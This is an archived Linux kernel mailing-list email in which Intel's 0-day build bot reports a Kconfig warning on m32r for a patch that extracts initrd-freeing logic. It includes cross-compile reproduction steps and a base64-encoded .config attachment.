DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:In-Reply-To:
	Content-Type:MIME-Version:References:Message-ID:Subject:To:From:Date:Reply-To
	:Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=/Inci7VP3MnlgDMcziHJ4AkGv6YJ3szZKwBysXAhQug=; b=frLl8KfjZS5S7wOx8AVmqBHNL
	4DNuI2Tj7zbU9Fn10bx0RRa/NnnC7NHydm6uuOnNVluaZwfvfmCavkUct1FgWyi3G3FuKl8RzMv3A
	WRBO6v1U0O4L4Y8rOVxqTKEwCzDx+2pRAAUmVyGO5twU0d0eZ3ZWSgtSj7LjyUr2hoYeFT3KWYO7E
	mnHREyKgNQ6azYSuYSgksX9wWvzoWocvDeZ/v1d7YkmVBvuyeDnRgI0tpotb6S5MF+SlMUchKXlTR
	UEc5cimdfA1xwpFWoCnWLPbFkWrtmhJjRndk7AaOW0sIQWz6Q3ZfJX2eHKTlryaAzWmLjIPpQ+O/9
	AXEnIXeyg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1f1kaz-0003w4-Rx; Fri, 30 Mar 2018 03:20:53 +0000
Original-Received: from mga18.intel.com ([134.134.136.126])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1f1kXZ-0000fC-E0; Fri, 30 Mar 2018 03:17:23 +0000
X-Amp-Result: UNSCANNABLE
X-Amp-File-Uploaded: False
Original-Received: from fmsmga004.fm.intel.com ([10.253.24.48])
 by orsmga106.jf.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 29 Mar 2018 20:17:09 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.48,378,1517904000"; 
 d="gz'50?scan'50,208,50";a="41974514"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
 by fmsmga004.fm.intel.com with ESMTP; 29 Mar 2018 20:16:54 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
 (envelope-from <fengguang.wu@intel.com>)
 id 1f1kX8-000RHV-1E; Fri, 30 Mar 2018 11:16:54 +0800
Content-Disposition: inline
In-Reply-To: <20180328152714.6103-1-shea@shealevy.com>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180329_201721_570072_697EDCC6 
X-CRM114-Status: GOOD (  31.19  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 T_RP_MATCHES_RCVD      Envelope sender domain matches handover relay
 domain
 -0.0 SPF_PASS               SPF: sender matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3715 gmane.linux.ports.mips.general:64305 gmane.linux.ports.sh.devel:56782 gmane.linux.kernel:2729249 gmane.linux.ports.ia64:28784 gmane.linux.ports.hexagon:1626 gmane.linux.kernel.metag:1751 gmane.linux.ports.arm.kernel:641774 gmane.linux.ports.parisc:28458 gmane.linux.ports.alpha:4915 gmane.linux.ports.sparc:27516 gmane.linux.uml.devel:16750 gmane.linux.uml.user:15421 gmane.linux.ports.ppc64.devel:155507
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3715>


--d6Gm4EdcadzBjdND
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Shea,

Thank you for the patch! Perhaps something to improve:

[auto build test WARNING on linus/master]
[also build test WARNING on v4.16-rc7]
[cannot apply to next-20180329]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Shea-Levy/Extract-initrd-free-logic-from-arch-specific-code/20180330-085507
config: m32r-m32104ut_defconfig (attached as .config)
compiler: m32r-linux-gcc (GCC) 7.2.0
reproduce:
        wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=m32r 

All warnings (new ones prefixed by >>):

warning: (M32R) selects HAVE_ARCH_FREE_INITRD_MEM which has unmet direct dependencies (BLK_DEV_INITRD)

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--d6Gm4EdcadzBjdND
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
